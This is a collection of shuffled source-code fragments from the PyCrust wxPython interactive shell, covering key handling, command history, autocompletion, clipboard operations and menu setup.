"pass elif key in self.autoCompleteKeys: # Usually the dot (period) key activates auto",
"list.\"\"\" list = self.interp.getAutoCompleteList(command, includeMagic=self.autoCompleteIncludeMagic, includeSingle=self.autoCompleteIncludeSingle, includeDouble=self.autoCompleteIncludeDouble) if list: options = '\\n'.join(list) offset",
"to reduce.\"\"\" self.SetZoom(points) wxID_SELECTALL = wxNewId() ID_AUTOCOMP = wxNewId() ID_AUTOCOMP_SHOW = wxNewId() ID_AUTOCOMP_INCLUDE_MAGIC",
"command and then press F8.) F9 Pop-up window of matching History items. (Type",
"ID_CALLTIPS = wxNewId() ID_CALLTIPS_SHOW = wxNewId() ID_FILLING = wxNewId() ID_FILLING_AUTO_UPDATE = wxNewId() ID_FILLING_SHOW_METHODS",
"ps2size = len(ps2) # Strip the prompt off the front of text. if",
"config(self): \"\"\"Configure shell based on user preferences.\"\"\" self.SetMarginType(1, wxSTC_MARGIN_NUMBER) self.SetMarginWidth(1, 40) self.SetLexer(wxSTC_LEX_PYTHON) self.SetKeyWords(0,",
"in (ord('V'), ord('v')): self.PasteAndRun() # Replace with the previous command from the history",
"text, retaining prompts. Ctrl+X Cut selected text. Ctrl+V Paste from clipboard. Ctrl+Shift+V Paste",
"and self.CanEdit(): self.OnHistoryInsert(step=+1) # Insert the next command from the history buffer. elif",
"self.OnRedo) EVT_MENU(self, wxID_CUT, self.OnCut) EVT_MENU(self, wxID_COPY, self.OnCopy) EVT_MENU(self, wxID_PASTE, self.OnPaste) EVT_MENU(self, wxID_CLEAR, self.OnClear)",
"sys.ps2) self.ReplaceSelection(command) def OnHistoryInsert(self, step): \"\"\"Insert the previous/next command from the history buffer.\"\"\"",
"self.addHistory(command.rstrip()) for handler in self.handlers: handler() self.prompt() def addHistory(self, command): \"\"\"Add command to",
"command to the interpreter. if not controlDown and key == WXK_RETURN: if self.AutoCompActive():",
"self.StyleSetSpec(wxSTC_P_COMMENTLINE, \"fore:#007F00,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_NUMBER, \"\") self.StyleSetSpec(wxSTC_P_STRING, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_CHARACTER, \"fore:#7F007F,face:%(mono)s\" %",
"too large. So we need to reduce the font size. if (wxMAJOR_VERSION, wxMINOR_VERSION,",
"quit. # Other applications, like PythonCard, may choose to hide rather than #",
"bottom of the text. endpos = self.GetTextLength() self.SetCurrentPos(endpos) command = command.rstrip() if prompt:",
"'Show auto completion during dot syntax', 1) m.Append(ID_AUTOCOMP_INCLUDE_MAGIC, 'Include Magic Attributes', \\ 'Include",
"'shell' to locals as reference to ShellFacade instance.\"\"\" self.interp.locals['shell'] = ShellFacade(other=self) def execStartupScript(self,",
"\"\"\"Delete the current, unexecuted command.\"\"\" startpos = self.promptPosEnd endpos = self.GetTextLength() self.SetSelection(startpos, endpos)",
"= wxTextEntryDialog(None, prompt, \\ 'Input Dialog (Raw)', '') try: if dialog.ShowModal() == wxID_OK:",
"they want. try: self.execStartupScript(self.interp.startupScript) except: pass def destroy(self): # del self.interp pass def",
"In the close event handler we can make sure they want to quit.",
"whether text is word wrapped.\"\"\" try: self.SetWrapMode(wrap) except AttributeError: return 'Wrapping is not",
"__getattr__(self, name): if hasattr(self.other, name): return getattr(self.other, name) else: raise AttributeError(name) def __setattr__(self,",
"and command not in matches: matches.append(command) self.clearCommand() self.replaceFromHistory(step, self.historyMatches) def replaceFromHistory(self, step, history=None):",
"= str(sys.ps1) pos = self.GetCurLine()[1] if pos > 0: if isreading: skip =",
"name): return setattr(self.other, name, value) else: raise AttributeError(name) def _getAttributeNames(self): \"\"\"Return list of",
"send a close event. # In the close event handler we can make",
"if the 'Enter' key was pressed: key = event.GetKey() if key == 28",
"Patch to fix bug in wxSTC for wxPython < 2.3.3. if charBefore <",
"command = event.GetText() if command.find('\\\\n') >= 0: command += '\\\\n' command = command.replace(",
"visible to __getattr__ and __setattr__', 1) m.Append(ID_AUTOCOMP_INCLUDE_SINGLE, 'Include Single Underscores', \\ 'Include attibutes",
"\\ self.OnCallTipsShow) EVT_UPDATE_UI(self, wxID_UNDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_REDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CUT, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_COPY,",
"self.clearCommand() # Cut to the clipboard. elif (controlDown and key in (ord('X'), ord('x')))",
"command from text which may include a shell prompt. The command may not",
"self.fixLineEndings(text) self.AddText(text) self.EnsureCaretVisible() def fixLineEndings(self, text): \"\"\"Return text with line endings replaced by",
"selected text, removing prompts. Ctrl+Shift+C Copy selected text, retaining prompts. Ctrl+X Cut selected",
"= self.GetCurLine()[0] line = self.GetCurrentLine() while text[:ps2size] == ps2 and line > 0:",
"self.stdout def redirectStderr(self, redirect=1): \"\"\"If redirect is true then sys.stderr will go to",
"self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return 0 def CanCopy(self): \"\"\"Return true if",
"if self.CallTipActive(): event.Skip() else: self.clearCommand() # Cut to the clipboard. elif (controlDown and",
"# # Don't modify a selection with text prior to the prompt. elif",
"from the history buffer. elif (controlDown and key == WXK_DOWN) \\ or (altDown",
"modify a selection with text prior to the prompt. elif selecting and key",
"or line. Shift+Home Select to the beginning of the command or line. Shift+End",
"command self.write(os.linesep) else: self.push(command) # Or replace the current command with the other",
"command.rstrip() return command def lstripPrompt(self, text): \"\"\"Return text without a leading prompt.\"\"\" ps1",
"sys.ps2) self.clearCommand() self.write(command) # Process the command if the 'Enter' key was pressed:",
"its thing. elif self.AutoCompActive(): event.Skip() # Let Ctrl-Alt-* get handled normally. elif controlDown",
"not controlDown and key == WXK_INSERT): self.Paste() # Paste from the clipboard, run",
"else: self.SetCurrentPos(thepos) self.SetAnchor(thepos) def getMultilineCommand(self, rstrip=1): \"\"\"Extract a multi-line command from the editor.",
"command.replace('\\n', os.linesep + sys.ps2) self.write(command) if wxTheClipboard.IsSupported(PythonObject) and \\ self.python_obj_paste_handler is not None:",
"\\tCtrl+V', 'Paste') m.AppendSeparator() m.Append(wxID_CLEAR, 'Cle&ar', 'Delete the selection') m.Append(wxID_SELECTALL, 'Select A&ll', 'Select all",
"continuation line, autoindent as necessary.\"\"\" isreading = self.reader.isreading skip = 0 if isreading:",
"if id == wxID_UNDO: event.Enable(self.shell.CanUndo()) elif id == wxID_REDO: event.Enable(self.shell.CanRedo()) elif id ==",
"line, autoindent as necessary.\"\"\" isreading = self.reader.isreading skip = 0 if isreading: prompt",
"to the shell.\"\"\" if redirect: sys.stdout = PseudoFileOut(self.writeOut) else: sys.stdout = self.stdout def",
"lines = text.split('\\n') commands = [] command = '' for line in lines:",
"Real commands have prompts. if rstrip: command = command.rstrip() return command def lstripPrompt(self,",
"the Enter key? self.processLine() def topLevelComplete(self): command = self.getCommand(rstrip=0) completions = self.interp.getTopLevelCompletions(command) if",
"method) d = self.__dict__ d['other'] = other d['helpText'] = \\ \"\"\" * Key",
"text=''): \"\"\"Display introductory text in the shell.\"\"\" if text: if not text.endswith(os.linesep): text",
"from the history buffer.\"\"\" if not self.historyPrefix: self.historyPrefix = 1 self.historyMatches = None",
"Paste(self): \"\"\"Replace selection with clipboard contents.\"\"\" if self.CanPaste() and wxTheClipboard.Open(): try: if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)):",
"skip: self.write(prompt) if not self.more: self.promptPosEnd = self.GetCurrentPos() # Keep the undo feature",
"previous command from the history buffer. elif (controlDown and key == WXK_UP) \\",
"self.GetTextLength() # If they hit RETURN inside the current command, execute the command.",
"self.more = self.interp.push(command) del busy if not self.more: self.addHistory(command.rstrip()) for handler in self.handlers:",
"bug in wxSTC for wxPython < 2.3.3. if charAfter < 0: charAfter =",
"self.stdout = sys.stdout self.stderr = sys.stderr self.handlers = [] self.python_obj_paste_handler = None #",
"= self.getCommand(rstrip=0) n = len(prefix) if n > 0: self.historyMatches = matches =",
"= text[ps1size:] elif text[:ps2size] == ps2: text = text[ps2size:] return text def push(self,",
"and not controlDown and key == WXK_INSERT): self.Paste() # Paste from the clipboard,",
"Python syntax.\"\"\" if not text: text = self.GetCurLine()[0] # Strip the prompt off",
"close button to leave the application.') def setLocalShell(self): \"\"\"Add 'shell' to locals as",
"feature from undoing previous responses. self.EmptyUndoBuffer() # XXX Add some autoindent magic here",
"if command: # Add the previous command to the list. commands.append(command) # Start",
"1) fm.Append(ID_FILLING_SHOW_DICT, 'Show __dict__', 'Show __dict__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_DOC,",
"charAfter = self.GetCharAt(caretPos) #*** Patch to fix bug in wxSTC for wxPython <",
"1 self.autoCompleteIncludeSingle = 1 self.autoCompleteIncludeDouble = 1 self.autoCompleteCaseInsensitive = 1 self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive) self.AutoCompSetSeparator(ord('\\n')) #",
"not self.CanEdit(): return key = event.KeyCode() currpos = self.GetCurrentPos() stoppos = self.promptPosEnd #",
"\"\"\"Return true if text is selected and can be copied.\"\"\" return self.GetSelectionStart() !=",
"OnRedo(self, event): self.shell.Redo() def OnCut(self, event): self.shell.Cut() def OnCopy(self, event): self.shell.Copy() def OnPaste(self,",
"argument spec and docstring in a popup bubble thingie.\"\"\" if self.CallTipActive: self.CallTipCancel() (name,",
"== ID_AUTOCOMP_INCLUDE_MAGIC: event.Check(self.shell.autoCompleteIncludeMagic) elif id == ID_AUTOCOMP_INCLUDE_SINGLE: event.Check(self.shell.autoCompleteIncludeSingle) elif id == ID_AUTOCOMP_INCLUDE_DOUBLE: event.Check(self.shell.autoCompleteIncludeDouble)",
"self.shell.Paste() def OnClear(self, event): self.shell.Clear() def OnSelectAll(self, event): self.shell.SelectAll() def OnAbout(self, event): \"\"\"Display",
"like PythonCard, may choose to hide rather than # quit so we should",
"we should just post the event and let the surrounding app # decide",
"with the one we've found. self.ReplaceSelection(command[len(searchText):]) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) # We've",
"== item[:len(prefix)]) and item not in items: items.append(item) self.UserListShow(1, '\\n'.join(items)) def OnHistorySelected(self, event):",
"1 def writeOut(self, text): \"\"\"Replacement for stdout.\"\"\" self.write(text) def writeErr(self, text): \"\"\"Replacement for",
"1) fm.Append(ID_FILLING_SHOW_METHODS, 'Show Methods', 'Show methods and functions in the tree view', 1)",
"tree view', 1) fm.Append(ID_FILLING_SHOW_DICT, 'Show __dict__', 'Show __dict__ entries in the tree view',",
"\\ 'wxPython Version: %s\\n' % wx.__version__ + \\ 'Platform: %s\\n' % sys.platform dialog",
"EVT_UPDATE_UI(self, ID_FILLING_SHOW_MODULE, self.OnUpdateMenu) def OnExit(self, event): self.Close(True) def OnUndo(self, event): self.shell.Undo() def OnRedo(self,",
"Do we want to automatically pop up command argument help? self.autoCallTip = 1",
"flakier.\\n\\n' + \\ 'Half-baked by <NAME>,\\n' + \\ 'the other half is still",
"still accessible, even though only some are visible to the user.\"\"\" name =",
"not shiftDown \\ and key in (ord('C'), ord('c'), WXK_INSERT): self.Copy() # Copy to",
"\\ and styleAfter == wxSTC_P_OPERATOR: braceAtCaret = caretPos if braceAtCaret >= 0: braceOpposite",
"controlDown and shiftDown \\ and key in (ord('C'), ord('c'), WXK_INSERT): self.CopyWithPrompts() # Home",
"aforementioned license. The license # is also available online at http://www.enthought.com/licenses/BSD.txt # Thanks",
"list.sort() return list class Shell(wxStyledTextCtrl): \"\"\"PyCrust Shell based on wxStyledTextCtrl.\"\"\" name = 'PyCrust",
"try: while not reader.input: wxYield() input = reader.input finally: reader.input = '' reader.isreading",
"(controlDown and not shiftDown \\ and key in (ord('V'), ord('v'))) \\ or (shiftDown",
"the prompt. # # Don't modify a selection with text prior to the",
"Console', 'other' : 'Comic Sans MS', 'size' : 10, 'lnsize' : 9, 'backcol':",
"History item. Shift+Down Arrow Insert Next History item. F8 Command-completion of History item.",
"= command.rstrip() if prompt: self.prompt() if verbose: self.write(command) self.push(command) def runfile(self, filename): \"\"\"Execute",
"\\ and key in (ord('C'), ord('c'), WXK_INSERT): self.Copy() # Copy to the clipboard,",
">= 0: command += '\\\\n' command = command.replace( '\\\\n', os.linesep + sys.ps2) self.clearCommand()",
"and wxTheClipboard.Open(): try: if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): self.ReplaceSelection('') command =",
"the history buffer.\"\"\" self.ReplaceSelection('') if history is None: history = self.history newindex =",
"m = self.editMenu = wxMenu() m.Append(wxID_UNDO, '&Undo \\tCtrl+Z', 'Undo the last action') m.Append(wxID_REDO,",
"else: command += chr(key) self.write(chr(key)) if self.autoComplete: self.autoCompleteShow(command) elif key == ord('('): #",
"NAVKEYS = (WXK_END, WXK_LEFT, WXK_RIGHT, WXK_UP, WXK_DOWN, WXK_PRIOR, WXK_NEXT) if wxPlatform == '__WXMSW__':",
"software is provided without warranty under the terms of the BSD # license",
"'shell.': # Run shell methods silently. self.run(command, prompt=0, verbose=0) else: self.run(command, prompt=0, verbose=1)",
"\"\"\"Check for matching braces.\"\"\" braceAtCaret = -1 braceOpposite = -1 charBefore = None",
"shiftDown = event.ShiftDown() currpos = self.GetCurrentPos() endpos = self.GetTextLength() selecting = self.GetSelectionStart() !=",
"the tree view', 1) fm.Append(ID_FILLING_SHOW_DOC, 'Show __doc__', 'Show __doc__ entries in the tree",
"fallback. tippos = max(tippos, fallback) self.CallTipShow(tippos, tip) def historyShow(self, prefix=''): items = []",
">= 0: braceOpposite = self.BraceMatch(braceAtCaret) if braceAtCaret != -1 and braceOpposite == -1:",
"text prior to the prompt. elif selecting and key not in NAVKEYS and",
"except: pass # Do this last so the user has complete control over",
"m = self.helpMenu = wxMenu() m.AppendSeparator() m.Append(wxID_ABOUT, '&About...', 'About PyCrust') b = self.menuBar",
"mode and overwrite mode. elif key == WXK_INSERT: pass # Don't allow line",
"and reset when you hit Enter. self.historyIndex == -1 means # you're on",
"self.python_obj_paste_handler is not None: # note that the presence of a PythonObject on",
"wxID_COPY, self.OnCopy) EVT_MENU(self, wxID_PASTE, self.OnPaste) EVT_MENU(self, wxID_CLEAR, self.OnClear) EVT_MENU(self, wxID_SELECTALL, self.OnSelectAll) EVT_MENU(self, wxID_ABOUT,",
"'prompt', 'quit', 'redirectStderr', 'redirectStdin', 'redirectStdout', 'run', 'runfile', 'wrap', 'zoom', ] for method in",
"you hit Enter. self.historyIndex == -1 means # you're on the current command,",
"if command.find('\\\\n') >= 0: command += '\\\\n' command = command.replace( '\\\\n', os.linesep +",
"return 0 def CanEdit(self): \"\"\"Return true if editing should succeed.\"\"\" if self.GetSelectionStart() !=",
"the selection') m.Append(wxID_PASTE, '&Paste \\tCtrl+V', 'Paste') m.AppendSeparator() m.Append(wxID_CLEAR, 'Cle&ar', 'Delete the selection') m.Append(wxID_SELECTALL,",
"stdin=self.reader, \\ stdout=PseudoFileOut(self.writeOut), \\ stderr=PseudoFileErr(self.writeErr), \\ *args, **kwds) # Find out for which",
"finally: wxTheClipboard.Close() return def PasteAndRun(self): \"\"\"Replace selection with clipboard contents, run commands.\"\"\" if",
"see if there # is a selection that includes text prior to the",
"new command, which may be multiline. command = line else: # Multiline command.",
"self.SetMenuBar(b) EVT_MENU(self, wxID_EXIT, self.OnExit) EVT_MENU(self, wxID_UNDO, self.OnUndo) EVT_MENU(self, wxID_REDO, self.OnRedo) EVT_MENU(self, wxID_CUT, self.OnCut)",
"faces): \"\"\"Configure font size, typeface and color for lexer.\"\"\" # Default style self.StyleSetSpec(wxSTC_STYLE_DEFAULT,",
"to the interpreter for execution.\"\"\" self.write(os.linesep) busy = wxBusyCursor() self.more = self.interp.push(command) del",
"'&Copy \\tCtrl+C', 'Copy the selection') m.Append(wxID_PASTE, '&Paste \\tCtrl+V', 'Paste') m.AppendSeparator() m.Append(wxID_CLEAR, 'Cle&ar', 'Delete",
"prior to the prompt. elif selecting and key not in NAVKEYS and not",
"command = '' for line in lines: if line.strip() != '' and line.lstrip()",
"prompts, and place it on the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() data",
"\\ list(range(self.historyIndex)) for i in searchOrder: command = self.history[i] if command[:len(searchText)] == searchText:",
"Insert this command into the history, unless it's a blank # line or",
"wxSTC_MARGIN_NUMBER) self.SetMarginWidth(1, 40) self.SetLexer(wxSTC_LEX_PYTHON) self.SetKeyWords(0, ' '.join(keyword.kwlist)) self.setStyles(faces) self.SetViewWhiteSpace(0) self.SetTabWidth(4) self.SetUseTabs(0) # Do",
"text): \"\"\"Display status information.\"\"\" # This method will most likely be replaced by",
"standard Python shell when # the user hits return without entering a value.",
"elif id == ID_AUTOCOMP_SHOW: event.Check(self.shell.autoComplete) elif id == ID_AUTOCOMP_INCLUDE_MAGIC: event.Check(self.shell.autoCompleteIncludeMagic) elif id ==",
"Copyright (c) 2005, Enthought, Inc. # All rights reserved. # # This software",
"the history buffer. elif (controlDown and key == WXK_DOWN) \\ or (altDown and",
"elif key == WXK_INSERT: pass # Don't allow line deletion. elif controlDown and",
"and item not in items: items.append(item) self.UserListShow(1, '\\n'.join(items)) def OnHistorySelected(self, event): command =",
"self.interp.getTopLevelCompletions(command) if len(completions) == 0: return 0 if len(completions) == 1: self.write(completions[0][len(command):]) else:",
"redirectStdin(self, redirect=1): \"\"\"If redirect is true then sys.stdin will come from the shell.\"\"\"",
"get handled normally. elif controlDown and altDown: event.Skip() # Clear the current, unexecuted",
"def raw_input(self, prompt=''): \"\"\"Return string based on user input.\"\"\" if prompt: self.write(prompt) return",
"command between the prompt and the cursor. # Add the '(' to the",
"in wxSTC for wxPython < 2.3.3. if charBefore < 0: charBefore = 32",
"Copy(self): \"\"\"Copy selection and place it on the clipboard.\"\"\" if self.CanCopy(): command =",
"2.3.2 had a sizing bug on Win platform. # The font was 2",
"key = event.KeyCode() currpos = self.GetCurrentPos() stoppos = self.promptPosEnd # Return (Enter) needs",
"the command typed so far: elif key == WXK_F9: self.historyShow(self.getCommand(rstrip=0)) # Don't backspace",
"interpreter class if one isn't provided. if InterpClass == None: from PyCrust.interpreter import",
"== wxID_REDO: event.Enable(self.shell.CanRedo()) elif id == wxID_CUT: event.Enable(self.shell.CanCut()) elif id == wxID_COPY: event.Enable(self.shell.CanCopy())",
"elif (shiftDown and key == WXK_DOWN) and self.CanEdit(): self.OnHistoryInsert(step=-1) # Search up the",
"at index 0) as they are entered. self.historyIndex # is the current position",
"the undo feature from undoing previous responses. self.EmptyUndoBuffer() # XXX Add some autoindent",
"New command. if command: # Add the previous command to the list. commands.append(command)",
"'[]{}()' \\ and styleAfter == wxSTC_P_OPERATOR: braceAtCaret = caretPos if braceAtCaret >= 0:",
"\"\") self.StyleSetSpec(wxSTC_P_IDENTIFIER, \"\") self.StyleSetSpec(wxSTC_P_COMMENTBLOCK, \"fore:#7F7F7F\") self.StyleSetSpec(wxSTC_P_STRINGEOL, \"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\" % faces) def OnUpdateUI(self, evt): \"\"\"Check",
"passed in. if locals: shellLocals.update(locals) # Create a replacement for stdin. self.reader =",
"buffer for the text in front of the cursor.\"\"\" if not self.CanEdit(): return",
"tip) = self.interp.getCallTip(command) if argspec: startpos = self.GetCurrentPos() self.write(argspec + ')') endpos =",
"# The user hit ENTER and we need to decide what to do.",
"singleton clipboard instance data = enClipboard.data self.python_obj_paste_handler(data) finally: wxTheClipboard.Close() return def PasteAndRun(self): \"\"\"Replace",
"in self.history: if command[:n] == prefix and command not in matches: matches.append(command) self.clearCommand()",
"item.replace( '\\n', '\\\\n' ) if (prefix == item[:len(prefix)]) and item not in items:",
"= self.crust.filling.fillingTree tree.autoUpdate = event.IsChecked() tree.if_autoUpdate() def OnFillingShowMethods(self, event): tree = self.crust.filling.fillingTree tree.showMethods",
"line. End Go to the end of the line. Ctrl+C Copy selected text,",
"in self.__dict__: self.__dict__[name] = value elif hasattr(self.other, name): return setattr(self.other, name, value) else:",
"WXK_HOME: home = self.promptPosEnd if currpos > home: self.SetCurrentPos(home) if not selecting and",
"<= -1) \\ or (self.historyIndex >= len(self.history)-2): searchOrder = list(range(len(self.history))) else: searchOrder =",
"do. They could be # sitting on any line in the shell. thepos",
"command. if command != '' \\ and (len(self.history) == 0 or command !=",
"of the text. endpos = self.GetTextLength() self.SetCurrentPos(endpos) command = command.rstrip() if prompt: self.prompt()",
"(controlDown and key == WXK_DOWN) \\ or (altDown and key in (ord('N'), ord('n'))):",
"\"\"\"Replace selection with clipboard contents, run commands.\"\"\" if wxTheClipboard.Open(): if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data =",
"\\ or (shiftDown and key == WXK_DELETE): self.Cut() # Copy to the clipboard.",
"lexer.\"\"\" # Default style self.StyleSetSpec(wxSTC_STYLE_DEFAULT, \"face:%(mono)s,size:%(size)d,back:%(backcol)s\" % faces) self.StyleClearAll() # Built in styles",
"text): \"\"\"Display text in the shell. Replace line endings with OS-specific endings.\"\"\" text",
"command = command.replace('\\n', os.linesep + sys.ps2) self.ReplaceSelection(command) def OnHistoryInsert(self, step): \"\"\"Insert the previous/next",
"if self.getCommand(rstrip=0): command = self.getMultilineCommand() self.clearCommand() self.write(command) # Otherwise, put the cursor back",
"the normal event handling to take place. event.Skip() def OnKeyDown(self, event): \"\"\"Key down",
"1) # Check before. if charBefore and chr(charBefore) in '[]{}()' \\ and styleBefore",
"item not in items: items.append(item) self.UserListShow(1, '\\n'.join(items)) def OnHistorySelected(self, event): command = event.GetText()",
"Alt+N Retrieve Next History item. Shift+Up Arrow Insert Previous History item. Shift+Down Arrow",
"= self.fixLineEndings(text) self.AddText(text) self.EnsureCaretVisible() def fixLineEndings(self, text): \"\"\"Return text with line endings replaced",
"# Paste from the clipboard. elif (controlDown and not shiftDown \\ and key",
"import sys from wx.py.pseudo import PseudoFileIn, PseudoFileOut, PseudoFileErr from wx.py.version import VERSION #",
"return command def lstripPrompt(self, text): \"\"\"Return text without a leading prompt.\"\"\" ps1 =",
"WXK_LEFT, WXK_RIGHT, WXK_UP, WXK_DOWN, WXK_PRIOR, WXK_NEXT) if wxPlatform == '__WXMSW__': faces = {",
"Replace with the previous command from the history buffer. elif (controlDown and key",
"all fonts. It may be positive to magnify or negative to reduce.\"\"\" self.SetZoom(points)",
"(self.historyIndex <= -1) \\ or (self.historyIndex >= len(self.history)-2): searchOrder = list(range(len(self.history))) else: searchOrder",
"self.GetCurrentPos() endpos = self.GetTextLength() selecting = self.GetSelectionStart() != self.GetSelectionEnd() # Return (Enter) is",
"needs to be ignored in this handler. if key == WXK_RETURN: pass elif",
"true then sys.stdout will go to the shell.\"\"\" if redirect: sys.stdout = PseudoFileOut(self.writeOut)",
"tree.showModule = event.IsChecked() tree.update() def OnUpdateMenu(self, event): \"\"\"Update menu items based on current",
"text = self.fixLineEndings(text) text = self.lstripPrompt(text=text) text = text.replace(os.linesep + sys.ps1, '\\n') text",
"ID_FILLING_SHOW_DICT = wxNewId() ID_FILLING_SHOW_DOC = wxNewId() ID_FILLING_SHOW_MODULE = wxNewId() class ShellMenu: \"\"\"Mixin class",
"def CanEdit(self): \"\"\"Return true if editing should succeed.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd(): if",
"command: # Add the previous command to the list. commands.append(command) # Start a",
"if len(completions) == 1: self.write(completions[0][len(command):]) else: self.AutoCompShow(len(command), '\\n'.join(completions)) return 1 def writeOut(self, text):",
"\\ self.OnAutoCompleteIncludeMagic) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_SINGLE, \\ self.OnAutoCompleteIncludeSingle) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_DOUBLE, \\ self.OnAutoCompleteIncludeDouble) EVT_MENU(self, ID_CALLTIPS_SHOW, \\",
"wxPython prior to 2.3.2 had a sizing bug on Win platform. # The",
"ID_FILLING_SHOW_METHODS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_CLASS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DICT, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DOC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_MODULE,",
"interactive text control in which a user types in commands to be sent",
"\\tCtrl+X', 'Cut the selection') m.Append(wxID_COPY, '&Copy \\tCtrl+C', 'Copy the selection') m.Append(wxID_PASTE, '&Paste \\tCtrl+V',",
"Call Tips', \\ 'Show call tips with argument specifications', 1) m = self.optionsMenu",
"cancels # an active auto completion. if self.AutoCompActive(): self.AutoCompCancel() # Get the command",
"id == ID_CALLTIPS_SHOW: event.Check(self.shell.autoCallTip) elif id == ID_FILLING_AUTO_UPDATE: event.Check(self.crust.filling.fillingTree.autoUpdate) elif id == ID_FILLING_SHOW_METHODS:",
"\"\"\"Add command to the command history.\"\"\" # Reset the history position. self.historyIndex =",
"be copied.\"\"\" return self.GetSelectionStart() != self.GetSelectionEnd() def CanPaste(self): \"\"\"Return true if a paste",
"a few characters of a previous command and then press F9.) \"\"\" def",
"%s\\n\\n' % VERSION + \\ 'Yet another Python shell, only flakier.\\n\\n' + \\",
"elif key == WXK_HOME: home = self.promptPosEnd if currpos > home: self.SetCurrentPos(home) if",
"options = '\\n'.join(list) offset = 0 self.AutoCompShow(offset, options) def autoCallTipShow(self, command): \"\"\"Display argument",
"-1 means # you're on the current command, not in the history. self.history",
"self.StyleSetSpec(wxSTC_P_NUMBER, \"\") self.StyleSetSpec(wxSTC_P_STRING, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_CHARACTER, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_WORD, \"fore:#00007F,bold\") self.StyleSetSpec(wxSTC_P_TRIPLE,",
"self.StyleSetSpec(wxSTC_P_TRIPLE, \"fore:#7F0000\") self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE, \"fore:#000033,back:#FFFFE8\") self.StyleSetSpec(wxSTC_P_CLASSNAME, \"fore:#0000FF,bold\") self.StyleSetSpec(wxSTC_P_DEFNAME, \"fore:#007F7F,bold\") self.StyleSetSpec(wxSTC_P_OPERATOR, \"\") self.StyleSetSpec(wxSTC_P_IDENTIFIER, \"\") self.StyleSetSpec(wxSTC_P_COMMENTBLOCK,",
"will go to the shell.\"\"\" if redirect: sys.stderr = PseudoFileErr(self.writeErr) else: sys.stderr =",
"schoolbook', 'size' : 12, 'lnsize' : 10, 'backcol': '#FFFFFF', } class ShellFacade: \"\"\"Simplified",
"startpos searchText = self.getCommand(rstrip=0) if numCharsAfterCursor > 0: searchText = searchText[:-numCharsAfterCursor] if not",
"+= '\\\\n' command = command.replace( '\\\\n', os.linesep + sys.ps2) self.clearCommand() self.write(command) # Process",
"= list(range(len(self.history))) else: searchOrder = list(range(self.historyIndex+1, len(self.history))) + \\ list(range(self.historyIndex)) for i in",
"self.insertLineBreak() # If the auto-complete window is up let it do its thing.",
"m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE, 'Include Double Underscores', \\ 'Include attibutes prefixed by a double underscore', 1)",
"entering a value. command = '\\n' self.reader.input = command self.write(os.linesep) else: self.push(command) #",
"necessary.\"\"\" isreading = self.reader.isreading skip = 0 if isreading: prompt = str(sys.ps3) elif",
"except: pass # Add 'shell' to the interpreter's local namespace. try: self.setLocalShell() except:",
"elif id == wxID_PASTE: event.Enable(self.shell.CanPaste()) elif id == wxID_CLEAR: event.Enable(self.shell.CanCut()) elif id ==",
"self.CanEdit(): self.OnHistoryInsert(step=-1) # Search up the history for the text in front of",
"data = wxTextDataObject() if wxTheClipboard.GetData(data): endpos = self.GetTextLength() self.SetCurrentPos(endpos) startpos = self.promptPosEnd self.SetSelection(startpos,",
"then sys.stdout will go to the shell.\"\"\" if redirect: sys.stdout = PseudoFileOut(self.writeOut) else:",
"= wxMenu() m.Append(ID_CALLTIPS_SHOW, 'Show Call Tips', \\ 'Show call tips with argument specifications',",
"previous command from the history buffer. elif (shiftDown and key == WXK_UP) and",
"'autoCompleteIncludeDouble', 'autoCompleteIncludeMagic', 'autoCompleteIncludeSingle', ] list.sort() return list class Shell(wxStyledTextCtrl): \"\"\"PyCrust Shell based on",
"\".\" to the search path. sys.path.insert(0, os.curdir) # Import a default interpreter class",
"and \\ (wxStyledTextCtrl.CanPaste(self) or \\ wxTheClipboard.IsSupported(PythonObject)): return 1 else: return 0 def CanEdit(self):",
"revision = __revision__ def __init__(self, parent, id=-1, pos=wxDefaultPosition, \\ size=wxDefaultSize, style=wxCLIP_CHILDREN, introText='', \\",
"OnAutoCompleteShow(self, event): self.shell.autoComplete = event.IsChecked() def OnAutoCompleteIncludeMagic(self, event): self.shell.autoCompleteIncludeMagic = event.IsChecked() def OnAutoCompleteIncludeSingle(self,",
"= event.IsChecked() tree.update() def OnUpdateMenu(self, event): \"\"\"Update menu items based on current status.\"\"\"",
"0 # Set up the interpreter. self.interp = Interpreter(locals=shellLocals, \\ rawin=self.raw_input, \\ stdin=self.reader,",
"it do its thing. elif self.AutoCompActive(): event.Skip() # Let Ctrl-Alt-* get handled normally.",
"ShellFacade(other=self) def execStartupScript(self, startupScript): \"\"\"Execute the user's PYTHONSTARTUP script if they have one.\"\"\"",
"leading prompt.\"\"\" ps1 = str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2) ps2size =",
"reader = self.reader reader.isreading = 1 self.prompt() try: while not reader.input: wxYield() input",
"selection with clipboard contents, run commands.\"\"\" if wxTheClipboard.Open(): if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject()",
"pass # Do this last so the user has complete control over their",
